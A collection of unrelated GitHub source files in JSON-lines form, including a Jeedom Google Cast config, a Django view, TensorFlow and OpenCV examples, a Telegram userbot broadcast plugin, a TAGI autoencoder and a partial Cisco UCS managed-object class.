+{"seq_id":"41463434441","text":"# This file is part of Jeedom.\n#\n# Jeedom is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Jeedom is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Jeedom. If not, see <http://www.gnu.org/licenses/>.\n#\n\nimport time\nimport os, os.path\n\nJEEDOM_COM = ''\nJEEDOM_WEB = ''\n\nKNOWN_DEVICES = {}\nNOWPLAYING_DEVICES = {}\nGCAST_DEVICES = {}\n\nNOWPLAYING_TIMEOUT = 60*6    # 6 minutes\nNOWPLAYING_FREQUENCY = 15     # 15 seconds\nNOWPLAYING_LAST = 0\n\nLEARN_BEGIN = int(time.time())\nLEARN_MODE = False          # is learn mode ?\nLEARN_TIMEOUT = 60\n\nHEARTBEAT_FREQUENCY = 900   # 15 minutes\nLAST_BEAT = int(time.time())\n\nSCAN_FREQUENCY = 60         # in seconds\nSCAN_PENDING = False        # is scanner running?\nSCAN_LAST = 0               # when last started\nSCAN_TIMEOUT = 10           # timout of gcast scan\n\nDISCOVERY_FREQUENCY = 14400         # every 4 hours\nDISCOVERY_LAST = int(time.time())   # when last started\n\nLOSTDEVICE_RESENDNOTIFDELAY = 60*15        # Resent offline msg after 15 minutes\n\nDEFAULT_NOSTATUS = \"\"\nDEFAULT_NODISPLAY = \"\"\n\ncycle_factor = 2\ncycle = 0.5\ncycle_main = 2\n\ntts_language = 'fr-FR'\ntts_engine = 'picotts'\ntts_cacheenabled = True\ntts_speed = 1.2\ntts_cachefolderweb = os.path.abspath(os.path.join(os.path.dirname(os.path.dirname(__file__)), 'tmp'))\ntts_cachefoldertmp = os.path.join('/tmp/jeedom/', 'googlecast_tts')\ntts_gapi_url = 'https://www.google.com/speech-api/'\ntts_gapi_key = 'none'\ntts_gapi_haskey = False\n\nlog_level = \"info\"\npidfile = '/tmp/googlecast.pid'\napikey = ''\ncallback = ''\ndaemonname=''\nsocketport=55012\nsockethost='127.0.0.1'\n","repo_name":"M3hd1M/plugin-googlecast","sub_path":"resources/globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"34141477798","text":"'''\nCreated on Mar 15, 2013\n\n@author: terence\n'''\nfrom trade.models import OrderTransfer, OrderReturn, OrderReturnItem\nfrom common.utils import group_required\nfrom django.shortcuts import render_to_response\nfrom django.forms.models import ModelForm\nfrom django.http import HttpResponseRedirect\nfrom django.template.context import RequestContext\n\n\nclass OrderReturnForm(ModelForm):\n    class Meta:\n        model = OrderReturn \n        exclude = ('value', 'cost')\n\n@group_required('inventory')\ndef new(request, transfer_id):\n    transfer = OrderTransfer.objects.get(pk=transfer_id)\n    primary = request.user.account.company\n    order = transfer.order\n    if order.supplier == primary:\n        contact = order.customer\n    elif order.customer == primary:\n        contact = order.supplier \n    if request.method == 'GET':\n        form = OrderReturnForm()\n    elif request.method == 'POST':\n        form = OrderReturnForm(request.POST)\n        if form.is_valid():\n            order_return = form.save()\n            transfer_ids = request.POST.getlist('transfer-id')\n            return_quantities = request.POST.getlist('return-quantity')\n            for transfer_id, return_quantity in zip(transfer_ids, return_quantities):\n                transfer_item = transfer.items.get(pk=transfer_id)\n                return_item = OrderReturnItem.objects.create(transfer=transfer_item,\n                                                             retrn=order_return,\n                                                             quantity=return_quantity,)\n            order_return.log(OrderReturn.REGISTER, request.user)\n            return HttpResponseRedirect(transfer.get_view_url())\n    return render_to_response('trade/return_new.html',\n        dict(form=form,\n             contact=contact,\n             transfer=transfer,\n             ),\n        context_instance=RequestContext(request))        \n\n\ndef cancel(request, _id):\n    order_return = OrderReturn.objects.get(pk=_id)\n    transfer = order_return.transfer\n    order_return.log(OrderReturn.CANCEL, request.user)\n    return HttpResponseRedirect(transfer.get_view_url())","repo_name":"buinhansinh/mercury","sub_path":"src/trade/views/orderreturn.py","file_name":"orderreturn.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43309697031","text":"# Project Euler - Question 1\n\n# Find the sum of all the multiples of 3 or 5 below 1000.\n\nimport time\n\nstart = time.time()\n\nn = 1000\nans = 0\n\nfor i in range(0,n):\n    if (i%3 == 0) | (i%5 == 0):\n        ans += i\n\nprint(ans)\nprint('Time elapsed:', (time.time() - start), 'seconds')\n","repo_name":"clairelubash/ProjectEuler","sub_path":"Q01.py","file_name":"Q01.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22584126830","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport multiprocessing\nimport os\n\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\ntf.__version__\n\n\n# In[2]:\n\n\nmnist = input_data.read_data_sets(\"\")\n\n\n# In[3]:\n\n\ntrain_X = mnist.train._images.reshape((-1, 28, 28, 1))\ntrain_Y = mnist.train._labels\ntrain_X.shape\n\n\n# In[4]:\n\n\ntest_X = mnist.test._images.reshape((-1, 28, 28, 1))\ntest_Y = mnist.test._labels\ntest_X.shape\n\n\n# In[5]:\n\n\ndef _int64_feature(value):\n    \"\"\"function _int64_feature\n    Args:\n        value:   \n    Returns:\n        \n    \"\"\"\n    return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\n\ndef _bytes_feature(value):\n    \"\"\"function _bytes_feature\n    Args:\n        value:   \n    Returns:\n        \n    \"\"\"\n    return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\ndef convert_to(dataset, labels, name, i):\n    \"\"\"function convert_to\n    Args:\n        dataset:   \n        labels:   \n        name:   \n        i:   \n    Returns:\n        \n    \"\"\"\n    if not os.path.exists(name):\n        os.mkdir(name)\n    filename = os.path.join(name, \"file-%d.tfrecords\" % (i))\n    print(\"writing %s, cpu %d\" % (filename, i))\n    with tf.python_io.TFRecordWriter(filename) as writer:\n        for index in range(dataset.shape[0]):\n            example = tf.train.Example(\n                features=tf.train.Features(\n                    feature={\n                        \"label\": _int64_feature(int(labels[index])),\n                        \"image\": _bytes_feature(dataset[index].tostring()),\n                    }\n                )\n            )\n            writer.write(example.SerializeToString())\n\n\n# In[6]:\n\n\ncpu_cores = 2\ntrain_idx = np.linspace(0, train_X.shape[0], cpu_cores + 1, dtype=np.int)\ntest_idx = np.linspace(0, test_X.shape[0], cpu_cores + 1, dtype=np.int)\npool = multiprocessing.Pool(processes=cpu_cores)\n\nfor p in range(cpu_cores):\n    pool.apply_async(\n        convert_to,\n        (\n            train_X[train_idx[p] : train_idx[p + 1] - 1],\n            train_Y[train_idx[p] : train_idx[p + 1] - 1],\n            \"train\",\n            p,\n        ),\n    )\n\nfor p in range(cpu_cores):\n    pool.apply_async(\n        convert_to,\n        (\n            test_X[train_idx[p] : test_idx[p + 1] - 1],\n            test_Y[train_idx[p] : test_idx[p + 1] - 1],\n            \"test\",\n            p,\n        ),\n    )\n\npool.close()\npool.join()\n\n\n# In[7]:\n\n\ndef read_and_decode(filename_queue):\n    \"\"\"function read_and_decode\n    Args:\n        filename_queue:   \n    Returns:\n        \n    \"\"\"\n    reader = tf.TFRecordReader()\n    _, serialized_example = reader.read(filename_queue)\n    features = tf.parse_single_example(\n        serialized_example,\n        features={\n            \"image\": tf.FixedLenFeature([], tf.string),\n            \"label\": tf.FixedLenFeature([], tf.int64),\n        },\n    )\n    image = tf.decode_raw(features[\"image\"], tf.float32)\n    image = tf.reshape(image, [28, 28, 1])\n    image = tf.image.per_image_standardization(image)\n    label = tf.cast(features[\"label\"], tf.int32)\n    return image, label\n\n\n# In[8]:\n\n\ntf.reset_default_graph()\nsess = tf.InteractiveSession()\n\nbatch_size = 128\nepoch = 5\nfilename_queue = tf.train.string_input_producer(\n    [\"train/\" + i for i in os.listdir(\"train\")], num_epochs=epoch\n)\nimage, label = read_and_decode(filename_queue)\nimages, labels = tf.train.shuffle_batch(\n    [image, label],\n    batch_size=batch_size,\n    num_threads=12,\n    capacity=train_X.shape[0],\n    min_after_dequeue=1000,\n    allow_smaller_final_batch=False,\n)\n\n\ndef convolutionize(x, conv_w, h=1):\n    \"\"\"function convolutionize\n    Args:\n        x:   \n        conv_w:   \n        h:   \n    Returns:\n        \n    \"\"\"\n    return tf.nn.conv2d(input=x, filter=conv_w, strides=[1, h, h, 1], padding=\"SAME\")\n\n\ndef pooling(wx):\n    \"\"\"function pooling\n    Args:\n        wx:   \n    Returns:\n        \n    \"\"\"\n    return tf.nn.max_pool(wx, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=\"SAME\")\n\n\ndef create_network(X, scope=\"conv\", reuse=False):\n    \"\"\"function create_network\n    Args:\n        X:   \n        scope:   \n        reuse:   \n    Returns:\n        \n    \"\"\"\n    with tf.variable_scope(scope, reuse=reuse):\n        w1 = tf.Variable(tf.random_normal([3, 3, 1, 2], stddev=0.5))\n        b1 = tf.Variable(tf.zeros(shape=[2]))\n        w2 = tf.Variable(tf.random_normal([3, 3, 2, 4], stddev=0.5))\n        b2 = tf.Variable(tf.zeros(shape=[4]))\n        w3 = tf.Variable(tf.random_normal([3, 3, 4, 8], stddev=0.5))\n        b3 = tf.Variable(tf.zeros(shape=[8]))\n        w4 = tf.Variable(tf.random_normal([128, 10], stddev=0.5))\n        b4 = tf.Variable(tf.zeros(shape=[10]))\n\n        conv1 = pooling(tf.nn.relu(convolutionize(X, w1) + b1))\n        conv2 = pooling(tf.nn.relu(convolutionize(conv1, w2) + b2))\n        conv3 = pooling(tf.nn.relu(convolutionize(conv2, w3) + b3))\n        conv3 = tf.reshape(conv3, [-1, 128])\n        return tf.matmul(conv3, w4) + b4\n\n\nlogits = create_network(images)\ncross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=labels, logits=logits)\nglobal_step = tf.Variable(0, name=\"global_step\", trainable=False)\ncost = tf.reduce_mean(cross_entropy)\noptimizer = tf.train.AdamOptimizer(1e-3).minimize(cost, global_step=global_step)\ncorrect_pred = tf.equal(tf.argmax(logits, 1, output_type=tf.int32), labels)\naccuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\ninit_op = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())\nsess.run(init_op)\n\n\n# In[9]:\n\n\ncoord = tf.train.Coordinator()\nthreads = tf.train.start_queue_runners(sess=sess, coord=coord)\ntry:\n    step = sess.run(global_step)\n    while not coord.should_stop():\n        acc, loss, _, _, _ = sess.run([accuracy, cost, optimizer, images, labels])\n        if step % 200 == 0:\n            print(\"step %d, loss %f, accuracy %f\" % (step, loss, acc))\n        step = sess.run(global_step)\nexcept tf.errors.OutOfRangeError:\n    print(\"Done training for %d epochs, %d steps.\" % (epoch, step))\nfinally:\n    coord.request_stop()\ncoord.join(threads)\n\n\n# In[ ]:\n","repo_name":"math-a3k/docs_gh_pages_test","sub_path":"utilmy/zzml/mlmodels/model_tf/raw/tfcode2/Misc/4.tfrecords.py","file_name":"4.tfrecords.py","file_ext":"py","file_size_in_byte":6087,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"29520724750","text":"from machine import Pin, Timer\n\nled = Pin(14, Pin.OUT)\ntimer = Timer(-1)\n\ndef toggle():\n    global led\n    if led.value():\n        led.low()\n    else:\n        led.high()\n\n# toggles the led every two seconds\ntimer.init(period=2000, mode=Timer.PERIODIC, callback=lambda t: toggle())\n","repo_name":"lexruee/upy-playground","sub_path":"Led/blink_led_timer.py","file_name":"blink_led_timer.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32007409168","text":"\nfrom pyrogram.errors import (\n    FloodWait,\n)\n\nfrom alpha import Message, alpha\n\nimport asyncio\n\n\nGblacklist = [-1001159103924, -1001718757023]\n\n\n\n@alpha.on_cmd(\"gcast\", about={\n    'header': \"gcast chat\",\n    'alpha': \"{tr}gcast reply tomessage \",\n    'examples': \"{tr}gcast\"})\nasync def gcast(message: Message):\n    xx = message.reply_to_message\n    if xx:\n        msg = xx\n    elif message.reply_to_message:\n        msg = await alpha.get_reply_message()\n    else:\n        return await message.edit(\"`Berikan Sebuah Pesan atau Reply`\")\n    kk = await message.edit(\"`Globally Broadcasting Msg...`\")\n    er = 0\n    done = 0\n    async for x in alpha.iter_dialogs():\n                try:\n                    await alpha.send_message(x.chat.id, msg)\n                    await asyncio.sleep(0.1)\n                    done += 1\n                except FloodWait as anj:\n                    await asyncio.sleep(int(anj.seconds))\n                    await alpha.send_message(chat, msg)\n                    done += 1\n                except BaseException:\n                    er += 1\n    await kk.edit(\n        f\"_Berhasil Mengirim Pesan Ke_ `{done}` _Grup, Gagal Mengirim Pesan Ke_ `{er}` _Grup_\"\n    )\n","repo_name":"AftahBagas/Alpha","sub_path":"alpha/plugins/admin/gcast.py","file_name":"gcast.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"13263327945","text":"from __future__ import print_function\nimport cv2\n\n# image path\nimage_path = \"C:\\\\Users\\\\jerry\\\\ImgPrueba\\\\YourMori.png\"\n\n# Read or load image from its path\nimage = cv2.imread(image_path)\n\n# image is a NumPy array\nprint(\"Dimensions of the image: \", image.ndim)\nprint(\"Image height: \", format(image.shape[0]))\nprint(\"Image width: \", format(image.shape[1]))\nprint(\"Image channels: \", format(image.shape[2]))\nprint(\"Size of the image array: \", image.size)\n\n# Display the image and wait until a key is pressed\ncv2.imshow(\"My Image\", image)\n\n\n# image path\nimage_path = \"C:\\\\Users\\\\jerry\\\\ImgPrueba\\\\YourMori.png\"\n\n# Read or load image from its path\nimage = cv2.imread(image_path)\n\n# Set start and end coordinates\nstart = (0, 0)\nend = (image.shape[1], image.shape[0])\n\n# Set the color in BGR\ncolor = (255, 0, 0)\n\n# Set thickness in pixel\nthicknes = 4\ncv2.line(image, start, end, color, thicknes)\n\n# Display the modified image\ncv2.imshow(\"Modified Image\", image)\n\n\n# image path\nimage_path = \"C:\\\\Users\\\\jerry\\\\ImgPrueba\\\\YourMori.png\"\n\n# Read or load image from its path\nimage = cv2.imread(image_path)\n\n# Set start and end coordinates\n# of the top-left and bottom-right corners of the rectangle\nstart = (100, 70)\nend = (350, 380)\n\n# Set the color and thickness of the outline\ncolor = (0, 255, 0)\nthickness = 5\n\n# Draw the rectangle\ncv2.rectangle(image, start, end, color, thickness)\n\n# Save the modified image with the rectangle drawn to it\ncv2.imwrite(\"rectangle.jpg\", image)\n\n# Display the modified image\ncv2.imshow(\"Rectangle\", image)\n\n\n# Load image\nimage_path = \"C:\\\\Users\\\\jerry\\\\ImgPrueba\\\\YourMori.png\"\nimage = cv2.imread(image_path)\n(h,w) = image.shape[:2]\n\n# Define translation matrix\ncenter = (h//2, w//2)\nangle = -45\nscale = 1.0\n\nrotationMatrix = cv2.getRotationMatrix2D(center, angle, scale)\n\n# Rotate the image\nrotatedImage = cv2.warpAffine(image, rotationMatrix, (image.shape[1], image.shape[0]))\n\ncv2.imshow(\"Rotated image\", rotatedImage)\ncv2.waitKey(0)","repo_name":"GerardoValencia/Python_IA","sub_path":"ImageCV2.py","file_name":"ImageCV2.py","file_ext":"py","file_size_in_byte":1960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17169788978","text":"# -*- coding: UTF-8 -*-\nimport torch\nimport torch.nn as nn\n\ndef Poker_loss(outputs, true_labels, device, hierarchy, loss_fn='softmax'):\n    if loss_fn == 'softmax':\n        criterion = nn.CrossEntropyLoss()\n    else:\n        criterion = nn.BCEWithLogitsLoss()\n    samples_count = len(true_labels)\n    total_loss = 0.0\n    nodes = hierarchy['nodes']\n    paths = hierarchy['paths']\n    for code in outputs:\n        output = outputs[code]\n        node = nodes[code]\n        children_list = node.get_children_code()\n        children_num = len(children_list)\n        children_set = set(children_list)\n        if loss_fn == 'softmax':\n            node_labels = torch.zeros(samples_count, dtype=torch.long)\n        else:\n            node_labels = torch.zeros((samples_count, len(children_list)))\n        for i in range(samples_count):\n            true_label = true_labels[i].item()\n            u_set = paths[true_label] & children_set\n            if len(u_set) > 0:\n                child_index = children_list.index(list(u_set)[0])\n                if loss_fn == 'softmax':\n                    node_labels[i] = child_index\n                else:\n                    node_labels[i][child_index] = 1.0\n            else:\n                if loss_fn == 'softmax':\n                    node_labels[i] = children_num\n\n        node_labels = node_labels.to(device)\n        loss = criterion(output, node_labels)\n        total_loss += loss\n\n    return total_loss * 1.0 / len(outputs)","repo_name":"summit1993/I-am-Fine","sub_path":"models/HC/Poker/V1/Poker_loss_old.py","file_name":"Poker_loss_old.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"69865567095","text":"###############################################################################\n# File:         autoencoder.py\n# Description:  Example of autoencoder task using pytagi\n# Authors:      Luong-Ha Nguyen & James-A. Goulet\n# Created:      October 30, 2022\n# Updated:      November 12, 2022\n# Contact:      luongha.nguyen@gmail.com & james.goulet@polymtl.ca\n# License:      This code is released under the MIT License.\n###############################################################################\nfrom typing import Tuple, Union\n\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom pytagi import NetProp, Param, TagiNetwork\nfrom pytagi import Utils, exponential_scheduler\nfrom visualizer import ImageViz\n\n\nclass Autoencoder:\n    \"\"\"Autoencoder task using TAGI\"\"\"\n\n    utils: Utils = Utils\n\n    def __init__(self,\n                 num_epochs: int,\n                 data_loader: dict,\n                 encoder_prop: NetProp,\n                 decoder_prop: NetProp,\n                 encoder_param: Union[Param, None] = None,\n                 decoder_param: Union[Param, None] = None,\n                 viz: Union[ImageViz, None] = None,\n                 dtype=np.float32) -> None:\n        self.num_epochs = num_epochs\n        self.data_loader = data_loader\n\n        # Encoder network\n        self.encoder_prop = encoder_prop\n        self.encoder = TagiNetwork(self.encoder_prop)\n        if encoder_param is not None:\n            self.encoder.set_parameters(param=encoder_param)\n\n        # Decoder network\n        self.decoder_prop = decoder_prop\n        self.decoder = TagiNetwork(self.decoder_prop)\n        if decoder_param is not None:\n            self.decoder.set_parameters(decoder_param)\n        self.viz = viz\n        self.dtype = dtype\n\n    def train(self) -> None:\n        \"\"\"Train encoder and decoder\"\"\"\n        # Initialziation\n        assert self.encoder_prop.batch_size == self.decoder_prop.batch_size\n\n        # Inputs\n        batch_size = self.encoder_prop.batch_size\n        Sx_batch, Sx_f_batch = self.init_inputs(batch_size)\n\n        # Outputs\n        V_batch, empty_ud_idx_batch = self.init_outputs(batch_size)\n\n        input_data, _, _, _ = self.data_loader[\"train\"]\n        num_data = input_data.shape[0]\n        num_iter = int(num_data / batch_size)\n        pbar = tqdm(range(self.num_epochs))\n        for epoch in pbar:\n            # Decaying observation's variance\n            self.decoder_prop.sigma_v = exponential_scheduler(\n                curr_v=self.decoder_prop.sigma_v,\n                min_v=self.decoder_prop.sigma_v_min,\n                decaying_factor=self.decoder_prop.decay_factor_sigma_v,\n                curr_iter=epoch)\n            V_batch = V_batch * 0.0 + self.decoder_prop.sigma_v**2\n\n            for i in range(num_iter):\n                # Momentum for batch norm layer\n                if (i == 0 and epoch == 0):\n                    self.encoder.net_prop.ra_mt = 0.0\n                    self.decoder.net_prop.ra_mt = 0.0\n                else:\n                    self.encoder.net_prop.ra_mt = 0.9\n                    self.decoder.net_prop.ra_mt = 0.9\n\n                # Get data\n                idx = np.random.choice(num_data, size=batch_size)\n                x_batch = input_data[idx, :]\n\n                # Encoder's feed forward\n                self.encoder.feed_forward(x_batch, Sx_batch, Sx_f_batch)\n\n                # Decoder's feed forward\n                ma, va, mz, vz, jcb = self.encoder.get_all_network_outputs()\n                self.decoder.connected_feed_forward(ma=ma,\n                                                    va=va,\n                                                    mz=mz,\n                                                    vz=vz,\n                                                    jcb=jcb)\n\n                # Decoder's feed backward for states & parameters\n                self.decoder.state_feed_backward(x_batch, V_batch,\n                                                 empty_ud_idx_batch)\n                self.decoder.param_feed_backward()\n\n                # Encoder's feed backward for states & parameters\n                enc_delta_mz_init, enc_delta_vz_init = self.encoder.get_state_delta_mean_var(\n                )\n\n                # Encoder's feed backward for state & parameters\n                self.encoder.state_feed_backward(enc_delta_mz_init,\n                                                 enc_delta_vz_init,\n                                                 empty_ud_idx_batch)\n                self.encoder.param_feed_backward()\n\n                # Progress bar\n                pbar.set_description(\n                    f\"Epoch# {epoch: 0}|{i * batch_size + len(x_batch):>5}|{num_data: 1}\"\n                )\n\n            self.predict()\n\n    def predict(self) -> None:\n        \"\"\"Generate images\"\"\"\n        # Inputs\n        batch_size = self.encoder_prop.batch_size\n        Sx_batch, Sx_f_batch = self.init_inputs(batch_size)\n\n        generated_images = []\n        for count, (x_batch, _) in enumerate(self.data_loader[\"test\"]):\n            # Disable average running for batch norm layer\n            self.encoder.net_prop.ra_mt = 1.0\n            self.decoder.net_prop.ra_mt = 1.0\n\n            # Encoder's feed forward\n            self.encoder.feed_forward(x_batch, Sx_batch, Sx_f_batch)\n\n            # Decoder's feed forward\n            ma, va, mz, vz, jcb = self.encoder.get_all_network_outputs()\n            self.decoder.connected_feed_forward(ma=ma,\n                                                va=va,\n                                                mz=mz,\n                                                vz=vz,\n                                                jcb=jcb)\n\n            # Get images\n            norm_pred, _ = self.decoder.get_network_predictions()\n            generated_images.append(norm_pred)\n\n            # Only first 100 images\n            if count * batch_size > 100:\n                break\n\n        generated_images = np.stack(generated_images).flatten()\n        generated_images = generated_images[:self.encoder_prop.nodes[0] * 100]\n\n        # Visualization\n        if self.viz is not None:\n            n_row = 10\n            n_col = 10\n            self.viz.plot_images(n_row=n_row,\n                                 n_col=n_col,\n                                 imgs=generated_images)\n\n    def init_inputs(self, batch_size: int) -> Tuple[np.ndarray, np.ndarray]:\n        \"\"\"Initnitalize the covariance matrix for inputs\"\"\"\n        Sx_batch = np.zeros((batch_size, self.encoder_prop.nodes[0]),\n                            dtype=self.dtype)\n\n        Sx_f_batch = np.array([], dtype=self.dtype)\n\n        return Sx_batch, Sx_f_batch\n\n    def init_outputs(self, batch_size: int) -> Tuple[np.ndarray, np.ndarray]:\n        \"\"\"Initnitalize the covariance matrix for outputs\"\"\"\n        # Outputs\n        V_batch = np.zeros((batch_size, self.decoder_prop.nodes[-1]),\n                           dtype=self.dtype) + self.decoder_prop.sigma_v**2\n        ud_idx_batch = np.zeros((batch_size, 0), dtype=np.int32)\n\n        return V_batch, ud_idx_batch\n","repo_name":"lhnguyen102/cuTAGI","sub_path":"python_examples/autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":7037,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"}
+{"seq_id":"43059198930","text":"\"\"\"This module contains the general information for GlRequestFsmStage ManagedObject.\"\"\"\n\nfrom ...ucscmo import ManagedObject\nfrom ...ucsccoremeta import UcscVersion, MoPropertyMeta, MoMeta\nfrom ...ucscmeta import VersionMeta\n\n\nclass GlRequestFsmStageConsts():\n    LAST_UPDATE_TIME_ = \"\"\n    NAME_CREATE_GLOBAL_ID_POOL_BEGIN = \"CreateGlobalIdPoolBegin\"\n    NAME_CREATE_GLOBAL_ID_POOL_CREATE_POLICIES = \"CreateGlobalIdPoolCreatePolicies\"\n    NAME_CREATE_GLOBAL_ID_POOL_FAIL = \"CreateGlobalIdPoolFail\"\n    NAME_CREATE_GLOBAL_ID_POOL_SUCCESS = \"CreateGlobalIdPoolSuccess\"\n    NAME_CREATE_GLOBAL_POLICY_BEGIN = \"CreateGlobalPolicyBegin\"\n    NAME_CREATE_GLOBAL_POLICY_CREATE_POLICIES = \"CreateGlobalPolicyCreatePolicies\"\n    NAME_CREATE_GLOBAL_POLICY_FAIL = \"CreateGlobalPolicyFail\"\n    NAME_CREATE_GLOBAL_POLICY_SUCCESS = \"CreateGlobalPolicySuccess\"\n    NAME_EVALUATE_BEGIN = \"EvaluateBegin\"\n    NAME_EVALUATE_EVALUATE = \"EvaluateEvaluate\"\n    NAME_EVALUATE_FAIL = \"EvaluateFail\"\n    NAME_EVALUATE_FETCH_DOMAIN_DATA = \"EvaluateFetchDomainData\"\n    NAME_EVALUATE_SUCCESS = \"EvaluateSuccess\"\n    NAME_EVALUATE_VALIDATE = \"EvaluateValidate\"\n    NAME_GLOBALIZE_ADD_ID_TO_GLOBAL_POOL = \"GlobalizeAddIdToGlobalPool\"\n    NAME_GLOBALIZE_ASSIGN_IDS = \"GlobalizeAssignIds\"\n    NAME_GLOBALIZE_BEGIN = \"GlobalizeBegin\"\n    NAME_GLOBALIZE_CREATE_GSP = \"GlobalizeCreateGSP\"\n    NAME_GLOBALIZE_CREATE_ORG = \"GlobalizeCreateOrg\"\n    NAME_GLOBALIZE_CREATE_POLICIES = \"GlobalizeCreatePolicies\"\n    NAME_GLOBALIZE_CREATE_UPDATE_POLICY_SCOPE = \"GlobalizeCreateUpdatePolicyScope\"\n    NAME_GLOBALIZE_CREATE_VLAN_ORG_PERMISSION = \"GlobalizeCreateVlanOrgPermission\"\n    NAME_GLOBALIZE_FAIL = \"GlobalizeFail\"\n    NAME_GLOBALIZE_REAPPLY_GSP = \"GlobalizeReapplyGSP\"\n    NAME_GLOBALIZE_RESOLVE_GLOBAL_POOL_DN = \"GlobalizeResolveGlobalPoolDn\"\n    NAME_GLOBALIZE_SUCCESS = \"GlobalizeSuccess\"\n    NAME_GLOBALIZE_UNASSIGN_IDS = \"GlobalizeUnassignIds\"\n    NAME_GLOBALIZE_UPDATE_DOMAIN_MOS = \"GlobalizeUpdateDomainMos\"\n    NAME_NOP = \"nop\"\n    STAGE_STATUS_FAIL = \"fail\"\n    STAGE_STATUS_IN_PROGRESS = \"inProgress\"\n    STAGE_STATUS_NOP = \"nop\"\n    STAGE_STATUS_PENDING = \"pending\"\n    STAGE_STATUS_SKIP = \"skip\"\n    STAGE_STATUS_SUCCESS = \"success\"\n    STAGE_STATUS_THROTTLED = \"throttled\"\n\n\nclass GlRequestFsmStage(ManagedObject):\n    \"\"\"This is GlRequestFsmStage class.\"\"\"\n\n    consts = GlRequestFsmStageConsts()\n    naming_props = set([u'name'])\n\n    mo_meta = MoMeta(\"GlRequestFsmStage\", \"glRequestFsmStage\", \"stage-[name]\", VersionMeta.Version201b, \"OutputOnly\", 0xf, [], [\"\"], [u'glRequestFsm'], [], [None])\n\n    prop_meta = {\n        \"child_action\": MoPropertyMeta(\"child_action\", \"childAction\", \"string\", VersionMeta.Version201b, MoPropertyMeta.INTERNAL, None, None, None, r\"\"\"((deleteAll|ignore|deleteNonPresent),){0,2}(deleteAll|ignore|deleteNonPresent){0,1}\"\"\", [], []), \n        \"descr\": MoPropertyMeta(\"descr\", \"descr\", \"string\", VersionMeta.Version201b, MoPropertyMeta.READ_ONLY, None, None, None, r\"\"\"[ !#$%&\\(\\)\\*\\+,\\-\\./:;\\?@\\[\\]_\\{\\|\\}~a-zA-Z0-9]{0,256}\"\"\", [], []), \n        \"dn\": MoPropertyMeta(\"dn\", \"dn\", \"string\", VersionMeta.Version201b, MoPropertyMeta.READ_ONLY, 0x2, 0, 256, None, [], []), \n        \"last_update_time\": MoPropertyMeta(\"last_update_time\", \"lastUpdateTime\", \"string\", VersionMeta.Version201b, MoPropertyMeta.READ_ONLY, None, None, None, r\"\"\"([0-9]){4}-([0-9]){2}-([0-9]){2}T([0-9]){2}:([0-9]){2}:([0-9]){2}((\\.([0-9]){3})){0,1}\"\"\", [\"\"], []), \n        \"name\": MoPropertyMeta(\"name\", \"name\", \"string\", VersionMeta.Version201b, MoPropertyMeta.NAMING, None, None, None, None, [\"CreateGlobalIdPoolBegin\", \"CreateGlobalIdPoolCreatePolicies\", \"CreateGlobalIdPoolFail\", \"CreateGlobalIdPoolSuccess\", \"CreateGlobalPolicyBegin\", \"CreateGlobalPolicyCreatePolicies\", \"CreateGlobalPolicyFail\", \"CreateGlobalPolicySuccess\", \"EvaluateBegin\", \"EvaluateEvaluate\", \"EvaluateFail\", \"EvaluateFetchDomainData\", \"EvaluateSuccess\", \"EvaluateValidate\", \"GlobalizeAddIdToGlobalPool\", \"GlobalizeAssignIds\", \"GlobalizeBegin\", \"GlobalizeCreateGSP\", \"GlobalizeCreateOrg\", \"GlobalizeCreatePolicies\", \"GlobalizeCreateUpdatePolicyScope\", \"GlobalizeCreateVlanOrgPermission\", \"GlobalizeFail\", \"GlobalizeReapplyGSP\", \"GlobalizeResolveGlobalPoolDn\", \"GlobalizeSuccess\", \"GlobalizeUnassignIds\", \"GlobalizeUpdateDomainMos\", \"nop\"], []), \n        \"order\": MoPropertyMeta(\"order\", \"order\", \"ushort\", VersionMeta.Version201b, MoPropertyMeta.READ_ONLY, None, None, None, None, [], []), \n        \"retry\": MoPropertyMeta(\"retry\", \"retry\", \"byte\", VersionMeta.Version201b, MoPropertyMeta.READ_ONLY, None, None, None, None, [], []), \n        \"rn\": MoPropertyMeta(\"rn\", \"rn\", \"string\", VersionMeta.Version201b, MoPropertyMeta.READ_ONLY, 0x4, 0, 256, None, [], []), \n        \"stage_status\": MoPropertyMeta(\"stage_status\", \"stageStatus\", \"string\", VersionMeta.Version201b, MoPropertyMeta.READ_ONLY, None, None, None, None, [\"fail\", \"inProgress\", \"nop\", \"pending\", 